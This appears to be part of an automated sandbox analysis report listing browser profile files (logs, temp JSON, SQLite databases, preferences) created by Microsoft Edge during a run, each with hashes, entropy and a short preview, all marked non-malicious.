Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	5.2451841308293705
Encrypted:	false
SSDEEP:	12:Nfv9IvLZYebvqBQFUt8wfS1/+wfi54ZYebvqBvJ:10lYebvZg8RQoYebvk
MD5:	3C7C86903296AEF6BAFE317EEC9D436C
SHA1:	E0F9C9390F43CFB92EB3A90E0620233E819C2C25
SHA-256:	18257C3911794910803ADC901D27D13508084554C2EEB8D4FD57AE130E5D7404
SHA-512:	549E21AC0EC499A0410FBCAD34F83B530DB45EAF1982941BD586C5E99D05BB834BF14886B1A10A3269AF4F02B6483CF9FF786A7D48C56F660505649C858FFAE5
Malicious:	false
Preview:	2024/07/26-04:13:13.488 e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/07/26-04:13:13.490 e94 Recovering log #3.2024/07/26-04:13:13.492 e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	5.2451841308293705
Encrypted:	false
SSDEEP:	12:Nfv9IvLZYebvqBQFUt8wfS1/+wfi54ZYebvqBvJ:10lYebvZg8RQoYebvk
MD5:	3C7C86903296AEF6BAFE317EEC9D436C
SHA1:	E0F9C9390F43CFB92EB3A90E0620233E819C2C25
SHA-256:	18257C3911794910803ADC901D27D13508084554C2EEB8D4FD57AE130E5D7404
SHA-512:	549E21AC0EC499A0410FBCAD34F83B530DB45EAF1982941BD586C5E99D05BB834BF14886B1A10A3269AF4F02B6483CF9FF786A7D48C56F660505649C858FFAE5
Malicious:	false
Preview:	2024/07/26-04:13:13.488 e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/07/26-04:13:13.490 e94 Recovering log #3.2024/07/26-04:13:13.492 e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\24d8e4a0-801b-4963-860a-892a2b83c05d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\81e35818-991b-4e9f-8ab2-6ba8f55fb3ec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\869a8db9-43eb-4ebf-ba14-159a8bf34a3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9b224bbd-9292-4b1a-b909-2cdc042380bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF37d8e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3cef9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d4f5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f7bc8449-c72d-4d69-b51e-4c265d8752d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.226050502800323
Encrypted:	false
SSDEEP:	12:Nf0VvLZYebvqBZFUt8wfkYg/+wfEDI54ZYebvqBaJ:a5lYebvyg87YDSoYebvL
MD5:	09196FCA3D217AA0FB8A2ED20B02DE29
SHA1:	2148BE2F022900E602FEC4CD9424AD9C18E097C8
SHA-256:	1DA3C0ECF18C451580D9696F1CF5616205BA39AF6DEC12FF3F325F0BEBED631A
SHA-512:	F0AF0F37B4E1DC1C6FC5FED8AEF24907FBF8F8C84695C6DC3F295FF260CD1C4371EB24FDB48B84290142D0A938537F7DB2CE352D6C1B32360109F27F4AB0903F
Malicious:	false
Preview:	2024/07/26-04:13:37.994 12e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/07/26-04:13:38.024 12e0 Recovering log #3.2024/07/26-04:13:38.032 12e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.226050502800323
Encrypted:	false
SSDEEP:	12:Nf0VvLZYebvqBZFUt8wfkYg/+wfEDI54ZYebvqBaJ:a5lYebvyg87YDSoYebvL
MD5:	09196FCA3D217AA0FB8A2ED20B02DE29
SHA1:	2148BE2F022900E602FEC4CD9424AD9C18E097C8
SHA-256:	1DA3C0ECF18C451580D9696F1CF5616205BA39AF6DEC12FF3F325F0BEBED631A
SHA-512:	F0AF0F37B4E1DC1C6FC5FED8AEF24907FBF8F8C84695C6DC3F295FF260CD1C4371EB24FDB48B84290142D0A938537F7DB2CE352D6C1B32360109F27F4AB0903F
Malicious:	false
Preview:	2024/07/26-04:13:37.994 12e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/07/26-04:13:38.024 12e0 Recovering log #3.2024/07/26-04:13:38.032 12e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.235161674649049
Encrypted:	false
SSDEEP:	6:BMAfUWHYn+q2PcNwi23oH+TcwtpIFUt84MAfUWHXZZmw+4MAfUWHXNVkwOcNwi2T:NfQn+vLZYebmFUt8wfvZ/+wfvNV54ZYM
MD5:	0E3858210C0AB805D78DC2E77236D48A
SHA1:	30B255E557B4A2407A57DD764591A285F5C965D4
SHA-256:	E35674B4A72563C4D5C432B3116E52F5494C35A06C727463C3D451C8C3877300
SHA-512:	711170E7EBE52F42570C0CA2300FA84CDF6C2D0D244E48D6F9F5845FE126B4180AB04043E9042437DC18883A0FB875554B89B6FB896A0310F7590FD034E0FFAD
Malicious:	false
Preview:	2024/07/26-04:13:12.540 e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/07/26-04:13:12.541 e9c Recovering log #3.2024/07/26-04:13:12.541 e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.235161674649049
Encrypted:	false
SSDEEP:	6:BMAfUWHYn+q2PcNwi23oH+TcwtpIFUt84MAfUWHXZZmw+4MAfUWHXNVkwOcNwi2T:NfQn+vLZYebmFUt8wfvZ/+wfvNV54ZYM
MD5:	0E3858210C0AB805D78DC2E77236D48A
SHA1:	30B255E557B4A2407A57DD764591A285F5C965D4
SHA-256:	E35674B4A72563C4D5C432B3116E52F5494C35A06C727463C3D451C8C3877300
SHA-512:	711170E7EBE52F42570C0CA2300FA84CDF6C2D0D244E48D6F9F5845FE126B4180AB04043E9042437DC18883A0FB875554B89B6FB896A0310F7590FD034E0FFAD
Malicious:	false
Preview:	2024/07/26-04:13:12.540 e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/07/26-04:13:12.541 e9c Recovering log #3.2024/07/26-04:13:12.541 e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.011149447433899604
Encrypted:	false
SSDEEP:	3:ImtVdxitllIX194ESEtWjYltllCnE///phV/tkH1l9YZlltl:IiV+Y4vjPEXRruzSt
MD5:	C798DCE29BE08B3B96A11AB69BE15E11
SHA1:	A8231CE8C873A055A7FE97FB82985EE88A68D045
SHA-256:	E227DC22574464020730DCB58406137077A5CAC183DB41A10BC5FFD40670681E
SHA-512:	C9AAF7957CAA25A08744B841068F5136C9F5DA5685BDAC94857DEB56DDFD761DF435FD85BC299424CA0FD69A6E2A564C958BDE7670C6479B4B3DDE3C58CC5350
Malicious:	false
Preview:	VLnk.....?......[.}..'Z.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2656036693136323
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMkSAELyKOMq+8HKkjucswRv8p3nVumW:K0q+n0Jk9ELyKOMq+8HKkjuczRv89a
MD5:	8AB4CE0EE4611E0678134C0EAFC4285F
SHA1:	1D8211DA9F7C5E55320FA53D7F41BBA9B5F29F2B
SHA-256:	E58B5446D02F957D985CB717A6296642F74A40ACA26B5D2982F4641FDDB23E82
SHA-512:	5E557014C82D52AD338B7238DC108A05861D7DB00197042DA0A21A7E6D74ED7066EFF29F0E405E7FAEA68926A4A5FEE4CB57FD406270F481E8C8B388ED166F92
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 11, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	2.356774194674249
Encrypted:	false
SSDEEP:	96:ftSjGhp22iS9fDW9zN6I97DW91tyI8gvFDW9zxNDW91/:w89fs0INHI8EFsfk
MD5:	EAA70F486FCF948E1C552401390F64C6
SHA1:	83A6BE1A7FAC046038D53AAAFF5D1ABC1DA19B4C
SHA-256:	916F2AE6FF2E13EDCBD7789ACF17C98462C635911E13D13279B86543FB495108
SHA-512:	57E99D9883713965C23691595CDC4D9DA7789D96102F400625F22231FB43DE636C3B49D3C05B3A21EA96791D15BDB84335BDD0FF2B95D7ACF2554250899E0CF1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.39689531567966974
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3U1+B:v7doKsKuKZKlZNmu46yjV
MD5:	28DD4D415CD776104AADAC48A93053E8
SHA1:	1860BBC6ECBF6853485A66E6EED0790924CE7692
SHA-256:	802FE410377F4A75678FC654A75CC3DA28E7BB682A7215BF55505EF4E3FFB910
SHA-512:	52E583C2EB0C25021B406DC200932BA28479E68AD5E8C8E418E9A5747714DF13280B1D5E178A726CD23F4A22C412EF8BEF3AD433B2B52946C838243FD2C29592
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21744247828467203
Encrypted:	false
SSDEEP:	3:DO/lNlljq7A/mhWJFuQ3yy7IOWUeeOQdweytllrE9SFcVpNGcV1vG0OV9RUIF:DOk75fONd0Xi97pJ1e06f
MD5:	70EC1F4977CDCB6B24CFAAF9CA3F46AE
SHA1:	514FE5192C488C0E2494E3AE7408ECD8C183773F
SHA-256:	E01A21906217B6BE14C0DEBE14A9AD7B46B66154C3E1A6BD96C0371AD384CCBC
SHA-512:	BDA211F02DA2C8D59B7F05E3E72F2EA7CB8A8E257FDF147F6E0CC77173593F03AB2EF9ECBD359F8AC9576C12F62F93442793FA03E11B9E06D862367A19C7BD33
Malicious:	false
Preview:	..............c_........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b3277bc3-d4da-42c3-8f9c-31b5513c50e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565547179595089
Encrypted:	false
SSDEEP:	768:YOgv8HWPRhf+x8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/EFTf5/rwYHxpgtuh:YOgv8HWPRhf+xu1japd5MYHYtK
MD5:	23E5D8F3A6C51B44C3165CA4D91F7B7E
SHA1:	E48654DBC4754FA900DA6F776FF03ED9C5CF68DE
SHA-256:	BCA806598A7991C7F809111CEE844937B9C5230F37AEDB530FC5D363E869E25F
SHA-512:	D6290889051829B14720A31087ED0E2AC8D0F8FE703BA50591EFE415764AE6628B6D31A6E0E49FB8FF4613651AEBF5648BAFB0577C0E4EBF447B064DE1AD19F0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366455192425137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366455192425137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b7c9eb87-f6c1-4798-b0db-80f9be8c4e75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bddb1ace-204c-4e7c-a66f-fbd31af6847e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9369
Entropy (8bit):	5.106084542893347
Encrypted:	false
SSDEEP:	192:stikdysW9yaNPmkVG3B8fbV+FiAR+PoYJ:stidsW9tJXbGiJ
MD5:	BC8B14C440AD50D065B6850AFA1E6F5B
SHA1:	EAA03F3FE1E6E3237271C1BC5D52D4D75DD5AC26
SHA-256:	CB62395EACB7989BB8F3AD42B78C30575A5290210F621EAE311F56D70BCFABFB
SHA-512:	178B6355D940C51462522E664A236AB9186E3263B09518455ABDD1579897D7B94F7701885AC3D64BD52C323C3FD0098E238D4B7FA72C6DC1D0B289857589BFB4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366455193204747","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c5344fb1-251b-4e47-8720-5c7783440adc.tmp

Download File

